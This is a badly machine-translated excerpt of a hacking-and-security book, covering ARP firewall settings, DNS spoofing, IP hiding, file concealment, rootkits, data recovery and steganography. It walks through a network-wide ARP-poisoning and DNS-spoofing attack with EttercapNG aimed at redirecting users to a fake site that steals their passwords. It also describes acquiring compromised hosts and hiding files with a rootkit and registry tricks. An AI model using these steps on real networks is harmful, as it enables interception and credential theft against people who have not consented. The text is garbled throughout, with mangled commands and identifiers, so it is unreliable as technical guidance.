In the “network parameters” area can customize the management end to monitor TCP port, a new set of ports to come into force at the next run time, the default port is 9001. “TCP connection thread pool” default is 200, the user can according to the specific situation of alignment, generally not recommended more than 500. But a TCP connection thread pool is not the bigger the better, because the thread pool, the greater the management application to take up system resources will be more.

After client connection on the management side, namely occupy one TCP connection thread pool. In a TCP connection thread pool is unused full client and management client established connection will remain, not disconnect, it helps the management end can manage client at any time.

When the TCP connection thread pool with full management side will clean up, disconnect some client connection. When the client to the timing of the report to the management end state, the client will again connection management side, enables the management end to more timely access to the client’s status and related data.

In the “save” the log area can be set automatically save event center log directory and conservation, the default save it in the management of application to the Logs folder in the directory.

(2) “flow control” TAB

Under this TAB can be set to monitor the client to upload, download speed, when more

than set threshold, may take appropriate measures, such as shutdown, restart, alarm, etc. Client network speed is average speed, the instantaneous velocity, calculated as follows: assuming that the client to manage the upload data for a period of 1 minute, assumptions in this 1 minutes, sent a total of 600 KB of data, then upload speeds of $600 \text{ KB} / 60 \text{ seconds} = 10 \text{ KB/s}$.

(3) [against monitoring] TAB

This TAB can be used to monitor the network attack, the trigger threshold of measures and “flow control” TAB in the same measures.

(4) 【 alarm Settings TAB

In which check the “play” check box and click the back button, can choose sound sources, but currently only supports wav sound file format. So, ARP firewall management end after receiving the alarm information, will play the sound.

(5) 【 upgrade control TAB

When a new version is released, the client could be controlled by the management end automatically upgrade. From the official website to download updates later, in the “upgrade package path” text box set path. If under the client in addition to the “default group”, also set up a multiple groups, can be in the interface of the optional group list box, select the corresponding group, and add it to the “approval of upgrade group” list box. If the client number is more, it is recommended that the upgrade in batches, lest bring network and ARP firewall management larger load.

“Tip”

Management side and the client program will be to check upgrade package integrity, reliability, can only be issued by the official updates, any person cannot be forged. Download the upgrade package generally named *. Rar, “v3.3. Rar”, for example, after decompression can get two files: one is the v3.3. Zip, the zip archive is need to specify the path in the upgrade screen upgrade package files. And the name of this file cannot be changed, otherwise it will cause the failure of upgrade. The other is a v3.3. Zip. Asc, this is the digital signature zip zip file, the file must be in the same directory with zip file.

After completion of all Settings, return to the ARP firewall management interface. On the

left side of the list, select “all clients” - > “group A” option, the add IP address is showed on the right side, and you can see “group A” state of all kinds of information, such as online state, the connection status and external ARP attack and attack foreign IP, and so on and so forth. The lower part of the list on the left side, shows the “group A” client state statistics.

The third chapter DNS deceive attack and prevention

DNS is one of the most network applications, the basis of the attack on it will affect the normal operation of the entire Internet. DNS spoofing attacks is an attacker commonly used gimmick, it has strong concealment, wide breadth, the characteristics of the attack effect is obvious.

This section will focus on the DNS to cheat, and DNS spoofing attacks based on the introduction of the process and its corresponding preventive measures, to improve the security of DNS and resisting aggression have positive effects.

10.3.1 know DNS deception

DNS is the abbreviation of the domain name system (DomainNameSystem), is a kind of organization the domain naming system hierarchical structure of computer and network service. When the user to enter a DNS name in the application, DNS service you can use this name resolution for the IP address of the information related to this name.

Users in the use of web services like in the browser’s address bar, type using the host name and domain name, because it is more likely to be the name of the user in mind. But the computer on the network is to use the IP address to communicate. In order to be able to achieve network communication between the computer and the services provided by the DNS server is used by the user’s computer or service name mapping for IP address.

DNS server name to explain the dependence is a data file, each domain has a separate data file, the file includes all the name of the domain name, the name of the corresponding type and the corresponding data.

When the client wants to resolve the DNS domain name for the IP address, can send a query to the DNS server, then the server will correspond as a reply. Seen from a client perspective, there are only two packets, query and response. Type the name of the nearly 20 DNS regulations.

For DNS query, can use Windows own tools nslookup, can use it to query DNS in various data.

The command line mode (1) using the query

Nslookup this operation mode is mainly used to query the IP address of the corresponding domain, also is A type of query DNS records. By type A record store by hackers can query the domain page server. For example, to view www.hao123.com IP, can be input in the command prompt window to query the IP address or domain name, and press enter. The results of the query includes A type record and CNAME records.

(2) interactive way

To query DNS except A type of other types of data, can use interactive mode to query, the query used in the process of “settype” command to set the corresponding query types.

DNS spoofing is a form of man-in-the-middle attack, it is one of the attackers as domain name server cheating, it is mainly used to provide to host error DNS information. When the user tries to browse web pages, such as IP addresses for AAA. AAA. AA. A, www.hao123.com, and actually the login IP address BBB indeed. The BBB. BB. B on www.hao123.com. Internet users can only see the attacker’s home page, instead of the user to open the web site’s home page.

The site is an attacker to steal online account, password, and other important information fake web site. DNS cheating is an impostor, quackery.

The network attacker DNS cheating usually by the following several ways:

Low cache infection

Hackers can good at using the DNS request, the data in a no fortification of the caching DNS server. During his visit to the customer for DNS these cache information will be returned to the customer, which will lead to the invaders set to run a Trojan Web server or email server, and then hackers access to user information from the server.

Low DNS information

The invaders by listening to the client and the dialogue of the DNS server, by guess the server responds to the client's DNS query ID. Every DNS message including a 16-bit associated ID number, the DNS server according to the request ID number for the source location. Hackers in front of the DNS server will false response to the user, to cheat the client visit a malicious web site.

Low DNS redirect

The attacker to DNS name lookup is redirected to the DNS server. That an attacker can gain write access to the DNS server.

10.3.2 DNS spoofing attacks

Hackers to perform DNS spoofing attacks method are many, here we will use a technique called DNSID cheating. First of all, the ARP cache poisoning attack on a target device to reroute by attacking host target device of communication, so that it can intercept DNS query request, deceptive packets can be sent.

The aim is to make the target of network users to access we make malicious url rather than they are trying to access the website.

Using the EttercapNG tools to demonstrate perform DNS spoofing attacks.

Two versions EttercapNG tools include Windows and Linux, here is in Windows EttercapNG installed in the system. For DNS deceit, we need to perform in the CMD command prompt window.

First of all, in the computer to download and install EttercapNG tools, after the installation is complete, before use it operation, need to do some configuration. EttercapNG core is a packet sniffer, mainly using different plug-ins to perform different attacks.

Dns_spoof plug-in is DNS cheating tools used in this example, so need to modify the configuration file associated with the plug-in. In Windows, the file is located in the C: \ ProgramFiles \ EttercapNG \ share \ etter DNS, this file contains the user wants to deceive the DNS records.

If you want to all attempts to open the <http://hao123.com> users are directed to the local

network host, need to add some contents in this document. A Notepad software method is: downloaded from the Internet and running, in the main window, select the file - > open] [] a menu item, you can open “etter. DNS” file.

Join statement at the end of the file, this information is to tell dns_spoof plug-in, when it found on yahoo.com or www.yahoo.com DNS query request, just send the IP address 192.168.1.25 in response. In the actual cases, 192.168.1.25 will run a web server software to show users the fake web site.

After the modified configuration file, click the “save” button on the toolbar, save the file. Open the command prompt window, can enter the EttercapNG installation directory, run the “Ettercap. Exe - T - q - Pdns_spoof - Marp / / / /”. The meaning of each string in the command is as follows:

The use of low - T: specified text interface.

Low - q: run in silent mode, so that capture the packets not output to the screen.

The use of low - Pdns_spoof: specify dns_spoof plug-in.

Low - Marp: broker ARP poisoning attack to intercept packets between hosts.

* / / / / : specify the entire network as a target.

Run this command will start the two stages of attack, ARP cache poisoning attack of network equipment, and then send fake DNS query response information. When any user tries to open the www.hao123.com website will be redirected to set a malicious web site.

10.3.3 prevent DNS deception

In order to protect the DNS server from attack, the user should take some measures to prevent:

Using a new DNS software, because some of them can support access control record DNS information, DNS server only respond to a request for the legal. The request of the internal information can not restricted access area, external request only can access to public information.

When properly configured regional transport. Only allow mutual trust between the DNS server to allow analytical data.

With IP access important service directly, so that at least can avoid the DNS spoofing attacks. But need to remember to access IP addresses.

Low protect information stored by the DNS server. Part of the registration information login way still more outdated methods, such as electronic mail way can upgrade the DNS registration information, these outdated methods need to add the security measures, such as using encrypted password, or the use of safe browser platform tools to provide records management domain code.

Low with the firewall. Use a firewall can make the DNS server is located in the firewall protection, only open the corresponding service port and protocol.

Low system administrators can also adopt the way of separating DNS, internal system and external system access different DNS system, outside of the computer can only access to public records.

The fourth chapter expert class (common problems and solutions)

It seems 1: how to view the machine has been affected by ARP attack?

Answer: normally, if there is no will the machine's IP address (such as 192.168.0.7) with the MAC address binding, in dynamic conditions, in the CMD command prompt window type the command "arp - a", will see the following prompt: on the PC

InternetAddressPhysicalAddressType

E 192.168.0.700-1-8 c - 17 - BO - 8 bdynamic (dynamic)

MAC address of the gateway to the correct MAC address (the MAC address of the router LAN port), if this is not the right MAC address, then this has been under the influence of ARP attack.

It seems 2: how to query the DNS server is normal work?

Answer: in order to query the DNS server work is normal, need to know how much is the computer using the DNS address, and query his operation.

Step 01 in the command prompt type “ipconfig/all” command, you can query the network parameters.

Step 02 can be seen in the query results show “DNSSERVERS”, this is the DNS server address, DNS server address 192.168.0.1. Can be seen from this address is a web address, DNS resolution mistakes if you use the network, can change a other DNS server address can solve the problem.

Step 3 if shows the internal network in the DNS server address, on the DNS work is in the hands of LAN internal DNS server to accomplish, then need to check the DNS server, nslookup on the DNS servers look to whether can normal operation.

Solve the DNS service failure on the DNS server, in general problems can be solved.

The first chapter in the network leaving only a shadow

Before the formal for all kinds of “hacking”, hackers can take various means, reconnaissance host information of the other, in order to decide to use what kind of the most effective way to achieve their own purposes. But when hackers on a visit to each host, will leave the IP address records, so that when users or administrators feel network traffic is abnormal, will search for the attacker in the log in the system of information, as a warning in the future the attacker’s credentials. Hackers are very cunning, they take a variety of methods to hide IP address, the user can’t find them.

11.1.1 hidden by the proxy server IP address

The proxy server is between the browser and the Web server to another server. When using a proxy server to access the site will be the first to the proxy server requests, the proxy server will be needed to retrieve the browser information, and transmitted to the user’s browser. This means that it is through the proxy server as an intermediary and indirect host access, so that was recorded by access to the host’s IP is the IP proxy server, rather than our own IP information. Searching for ways to proxy IP has a lot of kinds, such as using the “agent hunter” this kind of similar tools for search, or use the free online

proxy IP.

free ebooks ==> www.ebook777.com

1. Use the “agent hunter” search agent

“Agent hunter” is a collection of search and validation, support url segment, port automatically query, allows users to set the maximum number of connections (can do not affect other web applications), can quickly find free Proxy software on the network.

Here is to use the “agency hunter” specific operation method of search agent.

(1) add search task

Before using “agent hunter” search agent, to first add the search task, the specific steps are as follows:

Steps will download 01 “agent hunter” software package to extract and install, then start the software, to enter the main screen, choose “search task” - > “add task” menu item. Open the “add search task” dialog box, in the “assignment type” drop-down list box, select the “search site scope” option.

Step 02, click “next” button to enter task 【 add search scope of “address” area of the dialog box.

Step 3 click the “add” button, can pop-up dialog box, add search IP range 【 in which input starting address and ending address according to actual situation. Click [sure] button, can complete the add of the IP address range, then add the IP address range can appear in the list box “address range” area.

Step 4 in the scope of “address” area if you click the button, select the defined scope 【 can open the IP address of the predefined scope 【 dialog.

Step 5 click “add” button to open the IP range 【 add search dialog box, in which, according to the actual situation, set up the IP address range, and input the corresponding address range. Click [sure] button, can complete the add of the IP address range.

Steps of 06 if the IP address of the predefined scope 【 dialog click on the “open” button, you can open the read address range 【 dialog. Choose “agent hunter” in

which is the default IP address ranges of the file.

Step 7 click “open” button, you can add it to the IP address of the predefined scope]
 【 dialog box, choose the IP address of the need to search range. Click on the “use” button, the default IP address ranges can be added to the search scope of IP address.

Step 08 click “next” button, enter the “port and protocol” area. Click the “add” button to open the dialog box to add port and protocol] 【 , in which the input corresponding port and check the “search” check box.

Step 09 click [sure] button, add operation can complete, return to “port and protocol” area. Click “finish” button to add the search task.

(2) set parameters

In the after adding the search task, you can start the search. But in order to improve the efficiency of search, but also requires the user to set the parameters of the “agency hunter”.

Step 01 search task to add finished, in the main interface of agent wrangler “search task” add task can be seen in the list box. Select “system” - > “parameter setting” menu item, began to set the parameters.

Step 02 open running parameters Settings dialog box,] the default select search authentication Settings TAB] . Select the “search method” option in the area “the mechanism of” enable ping before they even check box, in which can improve the search results.

“Tip”

“Agent hunter” the default search, the number of concurrent validation and Ping 50, 80 and 100, respectively, if the bandwidth of the user cannot reach, you’d better accordingly to reduce the number of concurrent, in order to reduce the burden of the network.

Step 03 to switch to the validation data set] 【 TAB, click the “add” button in the pop-up dialog box to add validation data] 【 add validation resource address and its parameters.

Step 4 click [sure] button, can complete validation data set. Selection 【 agent scheduling Settings TAB, in which you can set the scheduling parameters, the agency scope of scheduling options, etc.

Steps 05 choose “other Settings” TAB, in which you can set the dial, search history, operation parameters, such as options. Click [sure] button to start the search Settings of IP address range.

(3) search to add tasks and view the results

After setting the parameters, in the “agent hunter” main interface, select the search task to start search a menu item, start the search task. Spent a long time, the search has been completed, you can check the search results.

Step 01 in “agent hunter” switch in the main interface to 【 results 】 TAB, in which you can view the search results. The “validation status” as Free agent, is can use a proxy server.

After step 02 find available proxy server, the IP address is copied to the TAB, agent scheduling 【 agent hunter can automatically schedule for the server, add a few more proxy server was beneficial to the improvement of the network speed. In general, “validation status” as Free agent server rarely, as long as the validation status to “Good” can be used.

2. Use the free online proxy IP

There are a lot of special offer free online proxy IP website, such as China (<http://www.proxycn.com/>), pure network agency (<http://www.cz88.net/proxy/>), etc. Use of the web site provides proxy IP access to the site, by access to the host record IP is the IP proxy server, so you can hide our true IP information, so as to achieve the goal of hide IP. Here in QQ, for example to introduce agents set up IP method.

Step 01 in the search engine to find “agent China” web site, and access to the site. Then on the left list, select a list of agents, such as “today’s latest high-speed HTTP proxy list”, on the right side of the HTTP proxy server list a proxy IP, such as the type of the HTTP proxy: European 118.96.142.197, port 3128.

“Tip”

Agent according to the function can be divided into HTTP proxy, Telnet agent, socks proxy (socks4 and socks5) and other categories. Socks5 agent support TCP and UDP (user datagram protocol), and also supports a variety of authentication mechanisms, the server domain name resolution, etc.

Step 02 start QQ program, enter QQ number and password in the login box, and click the “set” button, the pop-up “Settings” dialog box. “Network Settings” column in the “type”, “address” and “port” in the text box input respectively just choose agent, click the “test” button. If a proxy IP available, then will pop-up prompt dialog, prompt the user to connect to the proxy server success.

Step 3 click [sure] button, return to the login box, login QQ. After a successful login, place the mouse on the “my friend” column of the first on the QQ head portrait, you can see the current state of IP has shown for the European, rather than the real IP address.

The VPN system at 11.1.2 through hidden IP address

VPN (VirtualPrivateNetwork, virtual private network) is defined as through a public network (usually Internet) to establish a temporary, secure connection, is a through the chaos of the common network security and the stability of the tunnel.

It has access to the network speed, can hide IP address and other features. VPN connection is created through the system’s own network connection, as long as know the VPN account, password (online there are many free VPN account and password) and can connect VPN server address later.

After the VPN connection is established, the local presence within a local area network (LAN) with a VPN server, so access to the network according to address is the IP address of the VPN server, so as to achieve the purpose of hiding the machine IP address.

Here in the Windows xp system establish a VPN connection specific operation steps.

Step 01 double click the “network connections” shortcut on the desktop, then open “network connections” window. In the area of the window on the left side of the click the “create a new connection” option, you can open the new connection wizard dialog 】 .

Step 02 click “next” button in the open dialog box to set the network connection type, select “connect to my workplace network” option.

free ebooks => www.ebook777.com

Step 03, click “next” button in the open dialog, select “virtual private network connection” option, to create a VPN connection.

Step 4 click “next” button, the “company” in the open dialog text box type in the name of the connection to connect to your workplace, or create a shortcut to the VPN connection after display name.

Step 5 click “next” button in the open dialog box “host name or IP address” in the text box input server IP address or hostname.

“Tip”

The host name or IP address is to provide a VPN account server, VPN account and user name must be matched with the VPN server host name or IP address to use. If the server is through a router connected to the Internet, you can get Internet address by the two methods: see the login server routers, tp - link, d - link brands such as home routers, login after interface has the connection information, contains the IP address; With server-side access to websites such as <http://www.ip138.com>, view the Internet address.

Step 6 click “next” button, in the pop-up dialog box selected “in my table to add a shortcut to this connection” check box, with convenient operation. Click “finish” button, can complete the creation of a VPN connection.

Step 7 double-click the VPN connection on the desktop shortcut, open the VPN connection. In the “user name” and “password” in the text box input VPN account and password, and check the “save username and password for the following users” check box. Click “connect” button, VPN server can use VPN after verification.

Step 08 online free VPN account and password are time constraints, so when the account changes, just need to establish the VPN connection. You can change the VPN connection properties to select a VPN server. Click [properties] button in the window, can open the VPN properties dialog box. In the “regular” TAB “destination host name or IP address” in the text box input new VPN server address.

11.1.3 modify the registry to hide IP

In the Windows xp system, by modifying the registry, and can also achieve the purpose of covering the native real IP. The specific operation method is as follows:

In the registry editor window **】** in turn on the left side of the list and locate to option `HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ RemoteAccess \ Parameters \ IP`, double-click the “IPAddress” items in the window on the right side, in the heart of the edit string dialog box **】** the value changed to any IP address.

Press “F3” button, and continue to find contains IPAddress key, and in accordance with the same method will all change their values for any IP address. In this way, the machine is a real IP address has been changed the IP address of the “fake”.

11.1.4 using springboard to hide IP address

Hackers in the cyber attacks, in addition to their direct operation of the computer, often in attack and after using, the control of other computers. And here “springboard”, known colloquially as “chicken”, is the highest administrative authority of the remote computer. In a nutshell, is refers to a has been controlled by the hackers completely personal computer or server.

Hackers can through the controlled computer to deal with other computers, such as the invasion of other computers, to hide your tracks. In the actual invasion, the hacker “springboard” became the indirect accomplice, provides help for hackers to hide.

Springboard is actually on the chicken a Sock5 agent services, through the encrypted proxy springboard to hide IP address, to attack. How many people will curious, hackers access to “chicken”? Below to introduce several access to the “chicken”.

When using the search engines

Internet provides some ready-made chicken, just type in the search engine “free chicken”, published “chicken”, such as keywords, you can search to many.

Low use of vulnerability scanner

If a loophole in the user’s computer, when hackers use some vulnerability scanning

software, such as superscan, the xscan may and SSS scan the computer on the network, will scan the loophole of the host. If the host on the weak password loophole, hackers can easily crack codes and obtain the corresponding permissions invasion and then implanted into the back door, keep the “chicken”.

When using hang a horse and remote control

Hackers often use hang web Trojan to make the target host poisoning when browsing the web, receive the hacker instructions, to perform the corresponding operation, has finally been remote control, become a “chicken”.

The second chapter data hiding and camouflage

The so-called data hiding is to hide secret information in the other media (for text files, digital image, audio or video, etc.), that can only see the presence of these media, completely unaware of the information hidden in the media, so as to achieve the purpose of protecting data.

11.2.1 COPY merged with WinRAR camouflage

COPY command is the main function of copying files, it has another function is to merge files. COPY command general merging two main files of the same type, but it also can merge two different types of documents, such as a text file with a picture file merging into a new image file. To view the text information in the notepad, need to use notepad to open the can, so that it can realize hidden secret words in the picture. Use the COPY command merge file formats: COPY pictures. JPG/b + document name. TXT/a new title. JPG.

Will, for example, “a text document. TXT” (the information in the document is “23456”) and “pictures. JPG” merger, can be operated in accordance with the following methods:

Steps to create a folder on the F intraday 01, named “merge”, and put the two files in.

Step 02 in the command prompt window command prompt enter “f:” return to f packing directory. Input “CD merger” command again, enter the store “text documents. TXT” and “pictures. JPG” folder. And then type the command “copy pictures. JPG/b + text document. TXT/a new image. JPG”, can generate a new image file “new pictures. JPG”.

The merged image files will still be saved in the F “merge” folder under the disc, double-clicking on the image file directly, it’s just a picture on the display.

To view the information in the documents, can be in “new pictures. JPG file, right click on”, and on the shortcut menu, select “open way” - > “notepad” menu item, use notepad to open, and drag the scroll bar to the bottom. Can see the text information in “text documents. TXT”.

【 prompt 】 :

The information in the text file in front of the best three lines, so it is not lost the content of the head, this is mainly due to the Windows file reserved block problem; Put two files in the same directory, best on a partition root directory, so you can enter a few characters less; Parameter “/” b said in binary format copy, merge files, parameter “a” said copy, merge files in ASCII format.

WinRAR also can be used to disguise the information in the text file, achieve the goal of hidden data. For example, “*.txt file can be (contains information to hide inside) and a” “*. Mp3 file, using WinRAR merged into one” music. Mp3 files. The specific operation method is as follows: ✂ we alternate url: www.wrshu.net ✂

Step 01 selected “*. Mp3” and “*.txt file”, and right-click on it, and on the shortcut menu, select “added to the compressed file” menu item, open the compressed file name and the parameter dialog 】 . In the compressed file name text box will be amended as “music. Mp3” in the file name.

Step 02 click [sure] button, you can generate a new “music. Mp3 music files.

Step 03 on “music. Mp3 file right-click on it, and on the shortcut menu - > open way 】
 【 [WinRAR compression file manager] menu items, with WinRAR open the music file, you can see the hidden” *. Mp3 “and” *.txt files.

Finally, to “music. Mp3” plus a complex password, namely WinRAR password, and select a system icon as a disguise. Adding “*. Mp3” and “*.txt file, be sure to put the music files in the front of the other documents, otherwise the merged the music files will not be normal play.

11.2.2 using dedicated folder hidden files

Special Windows in the system have some default folder, such as recycle bin, the Tasks (task), control panel, etc., in the resource manager can see the the special folder icon, but unable to copy files to the special folder. Through input related commands at a command prompt, you can copy files to these special folder, and play the role of hidden files. For example, to use a dedicated folder “Tasks (task)” hidden files, need to will be hidden files in a folder, alone here put them in the “program” on the desktop folder.

Step 01 open a command prompt window, at the command prompt enter skins “cdC: \ DocumentsandSettings \ \ desktop \ \ program”, can enter the need to copy the folder.

Step 02 type the command “copy *. * % systemroot % \ tasks”, the “program” in the folder files can be copied to “tasks (task)” dedicated folder.

Step 3 in the resource manager to check the files in the Tasks folder. Open the resource manager, into the WIND

The Tasks folder under the OWS, but not just copy the file, but the four files in this folder.

Step 4 in the command prompt window to view the Tasks folder in the file. At the command prompt type the command “CD % systemroot % \ tasks”, enter the special tasks folder. And then type the command “dir *. * / a”, check the Tasks all the files in the directory, you can see copy of all documents.

Besides can use special Task folder hidden files, users can also create your own special folders, according to the method described above for the same operation, achieve the goal of hidden files.

Create a special folder method is as follows:

In Windows to create a new folder, rename it to “myrecycled. {9 f08 ff040-5081-101 - b - 645-00 aa002f954e}”, at this point, the folder icon into the recycle bin icon. And the folder has the function of the system special folder is the default, can empty file and view has been deleted files, etc. A list of some commonly used in table 11-1 special folder name and type.

Commonly used special folder names and table 11-1 type

The folder name folder type

{a280 2227-3 - A2DE aea - 1069-1069 b30309d} adding, deleting, printer

{9 f08 ff040-5081-101 - b - 645-00 aa002f954e} the recycle bin

{acc7 7007-3202-11 - AAD2 d1-3202 fc1270e} with the rest of the computer, Internet connection

{BDEADF00 C265-11 d0 BCED - 00 a0c90ab50f} network folders

{D20EA4E1-3957-11 d2 - A40B c5020524153 0} management tools

{D4480A50 - BA28-11 d1-8 e75-00 aa0060f5bf} to connect to the Shared folder

{c6a D6277990-4-11 cf - 8 d87-00 aa0060f5bf} plan task

{21 ec2020 b30309d - 3 - A2DD aea - 1069-1069} control panel

11.2.3 hidden files using file attribute

Windows in the system comes with A attrib. Exe file, the file can modify the file to read, hidden attribute and system properties, such as the command format for: attrib [+ R | -r] [+ A | - A], [+ S | -s] [+ H | - H] [[drive:] [path] filename] [/ S [/ D]]. By default, Windows will not display with system properties and hidden attributes of files and folders. The parameters of the attrib command shows as follows:

Low + : set properties to your target.

Low - : remove attributes to your target.

Low R: read-only file attributes.

Fox A: archive file attributes.

free ebooks ==> www.ebook777.com

Low S: system file attributes.

Low H: hidden file attributes.

Low [drive:] [path] filename] : to deal with the specified file is a disk path and file name.

Low/S: deal with the current folder and subfolders in the matching documents.

Hackers in the invasion of computer, often using attrib set some directory or file to hide and system property, in general, users and administrators won't notice, so it can achieve the goal of these hidden files.

How to use the attrib sets the file to system, and hidden attributes? Here is the specific operation method:

Steps to prepare to hide documents 01. Hidden files will be copied to a folder, such as D: \ tools, these documents to the default attributes for the document. By the resource manager can view these files.

Step 02 in the command prompt window to check the file. Open a command prompt window, at a command prompt, in turn, type the command "CDC: \", "d:" and "CDD: \ tools", enter to view the file directory. In which each type the command "dir/a" and "attrib", check the file attributes of files, you can see, properties of these files are archived (a).

Step 3 D: \ tools all the files in the hidden. At the command prompt type the command "attrib + h *. *", can be D: \ tools all the files in the set to hidden attributes. At this point, and then type the command "dir", also can't see the files in the directory.

If steps 4 to view is set to hide properties file, at the command prompt type the command "dir/a", can view the current directory of hidden files.

Due to the default Windows will not display with system properties and hidden attributes of files and folders, so after set file to hidden attributes, in the resource manager is can't see these files. If you want to see the hidden in the resource manager files, can open the

resource manager, first select “tools” - > “folder options” menu item, open the “folder options” dialog box.

Choose “view” TAB, in the “advanced Settings” list box uncheck “hidden protected operating system files (recommended)” checkbox, and select the “hidden files and folders” under the “show all files and folders” option. Click [sure] button, at this point, you can view all the files in a system in the resource manager.

11.2.4 use Desktop. Ini features hidden files

Desktop. Is the ini file folder configuration information, its no harm, but the file is often used by the virus, reach the role of spreading the virus. Using the Desktop. Ini to hide files, can be performed by two methods: one is to put the folder become transparent, the second is the folder disguised as system files. Using these two methods to hidden files is a good choice, and should not be discovered by users and administrators.

1. The folder will become transparent

By putting a folder is clear to achieve the purpose of hidden files, is one of the more interesting operation, only need a few simple operation can be done. The specific steps are as follows:

Step 01 to create a new folder on the desktop, and carries on the rename operation, press the key combination **Alt + 0160** 【 after, then press “Enter” key, can make the file name to become transparent.

Step 02 in the folder, right-click on it, and on the shortcut menu, select “properties” menu item, you can open the “properties” dialog. Switch to the “custom” TAB and click the “change icon” button.

Step 3 in the pop-up dialog box in the “select an icon from the following list” list box, select the blank icon.

Step 4 click [sure] button, can be found on the desktop folder disappeared, actually this folder in a transparent state at this time, still exist. At this point, press F5, or use the mouse to pull out of the box, on the surface of the table to find the hidden folder. Double-click the folder, you can see a Desktop in the open window. Ini file.

Step 5 double-click Desktop. Ini file, use notepad to open, can see the contents of the file, including “IconFile” and “IconIndex” is refers to the set indexed icon file and respectively.

2. The folder will be disguised as system files

Use the Desktop folder configuration information files. Ini, can also be disguised as a system file folders, to reach the purpose of hidden files. The specific operation method: will hide folder rename “BMP. {d3e24b21-9 d75-101 - a - 8 c3d - 00 aa001a1652}”, at this point, can be found that the folder icon into the image type files.

So careless users and administrators will treat it as a real system files, and ignored. But this kind of hidden effect applies only to the Windows xp system, is not applicable in other Windows platform.

11.2.5 by modifying the registry value hidden files

By modifying the registry keys can also achieve the purpose of hidden files, and this method can be real hidden files, even in “folder options” dialog box select “hidden protected operating system files (recommended)” checkbox, and select “show all files and folders” option, also can’t see the hidden files.

By modifying the registry value hidden files of the specific steps are as follows:

Steps to open the registry editor window】 , 01 in the left list “HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ \ CurrentVersion \ Windows Explorer, the Advanced \ Folder, Hidden, SHOWALL” branch.

Step 02 in the window, double click “CheckedValue” button on the right, in the pop-up dialog box will change the value of the “value data” to “0”.

Step 3 click [sure] button, exit registry editor. If before modify the registry, select “folder options” dialog “hidden protected operating system files (recommended)” checkbox, and select “show all files and folders” option, then you can see the file is set to “hidden” attribute. But after modify the registry value, even if the selected these two options, hidden files will be hidden forever, cannot be displayed.

Many mobile storage devices of the virus by modifying the registry keys and achieve the goal that records the virus hidden files, to repair these files, must be “CheckedValue” from the registry keys again changed to “1”.

Hidden 11.2.6 Rootkit technology

Rootkits and other malicious software is different, its main function and purpose are hidden, or hide it in the system all kinds of performance, such as processes, files, registry keys, and keys, port and service etc. Because of its outstanding performance in hiding technology, Rootkit with trojans and other malicious software combined with the trend of gradually, along with the expanding scope, may bring harm to network information security is gradually enhanced. In this section, we will use the fool tools AFXRootkit2005 Rootkit technology, it has a hidden files function, as long as the hidden files and AFXRootkit2005 tool program in the same directory, and execute a command can be hidden files. To hide under the “gvod. Exe files, for example, introduces the concrete operating methods.

Steps will be hidden 01 file “gvod. Exe” and AFXRootkit2005 program “root. Exe” in the directory D: \ YC \ WJ.

Step 02 open a command prompt window, type the command, respectively, in which “the CDC: \”, “d:”, “CDD: \ YC \ WJ,” into the directory where the two files. In the current directory type the command “root/I”, can be hidden D dish in WJ files in the folder.

Step 3 open the resource manager, can see directory D: \ YC \ files disappeared in a WJ. Users to access a directory, open the “run” dialog box to open hidden input the full directory path, namely the D: \ YC \ WJ. AFXRootkit2005 can hide any type of file, in fact, it is hidden by the hidden files. But this version of the AFXRootkit can hide any directory under different partitions, but early version is impossible.

The third chapter using data recovery software to steal data

FinalData tools is a can still can be carried out after empty recycle bin data recovery software, it can be used to recycle in WindowsNT / 2000 / XP was mistakenly deleted files, data, etc. Here use v3.0 FinalData enterprise edition software to restore F intraday mistakenly deleted package “PS tutorials” approach.

Steps will download 01 FinalData tool installed after the operation, to enter the main

interface.

free ebooks ==> www.ebook777.com

Step 02 choose file - > open a menu item, you can open the dialog box, select the drive choice F.

Step 3 click [sure] button, the pop-up dialog box is scanning the root directory , start scanning the selected disk.

Step 4 after the scan is complete, a dialog box select cluster scope to search , among them can be set to scan range of variety, generally keep the default Settings.

Step 5 click [sure] button, then the pop-up dialog box, cluster scanning in which start according to the set of clusters range scan.

Step 6 scan is complete, can appear the window, shows just the result of the scan. Found in the window on the right side to restore the file package "PS tutorial", and right-click on it, and on the shortcut menu, select "restore" menu item.

Step 7 at this point, then the pop-up dialog box, select the folder to save set in which to save the recovery file location, such as E disk.

After the completion of the steps 08 Settings, click the "save" button, you can pop up [save] dialog box. After finish saving, you can check the file whether can normal use. Double-click recovery package "PS tutorials to unzip, after inspection, if the file can normal use, completes the file recovery operations.

"Tip"

When set to save the recovery file location, cannot choose save the file before mistaken delete disk, otherwise will be popups dialog box, warn the user.

The fourth chapter different information steganography technology

Steganalysis is an important branch of information hiding, the purpose is to pass information secretly and safely to the receiver, doubt and not cause a third party. Compared with traditional encryption for cipher method, the information steganography will be useful to another public information hiding information in the media, there is the

information itself or the presence of confidential information. Can be realized through a variety of steganographic techniques for different steganographic file information, such as MP3 audio files, BMP and GIF images, TEXT and PDF documents, etc.

11.4.1 QR ciphertext steganography information

Steganographic or encryption for some information if you want some information, can be hidden by digital watermark information, this way can guarantee the information security. Digital watermarking is suitable for the audio, video, pictures, and other forms of digital media, the eye is unable to distinguish, digital equipment on the basis of this kind of watermark to identify whether the media files for piracy.

But business is not so easy can buy digital watermarking software, therefore, if is a regular user, if you want to encrypt a miniature information, such as personal account and password, log, etc., can use PsytecQR software instead of digital watermarking. The software is a production of qr code information software, can steganographic including phone, email, web address, the information such as text, it can transfer information is meaningless JPG images. No matter who, no matter use hexadecimal or notepad to see, also don't see what is hidden in this picture information. Therefore, to a certain extent, can better ensure the safety of information.

Here is the method of using PsytecQR software to hide information.

Step 01 PsytecQR software, into the main interface. In the interface at the bottom of the TAB under fill in address book information **】** **【** to hide information, and switch to the other TAB, fill out the information. And then set on the right side of the interface, the options on the left side you can see changes with the different Settings of QR codes.

Step 02 set is complete, select [file] - > [save] menu item, open the "save as" dialog box, the generated JPG files stored.

Step 3 click the "save" button, save the generated JPG images. To decrypt the information, can choose file - > open **】** **【** a menu item, find the JPG image, open in the PsytecQR software, can view the information hidden in the picture. QR code is square, only black and white and dichromatic. In the four corners of the three, with a small, square pattern as "back" word. The three is to help the decoding software positioning design, users don't need to aim at, no matter in any point of scanning, data can still be read correctly.

11.4.2 BMP and GIF images information steganography

free ebooks ==> www.ebook777.com

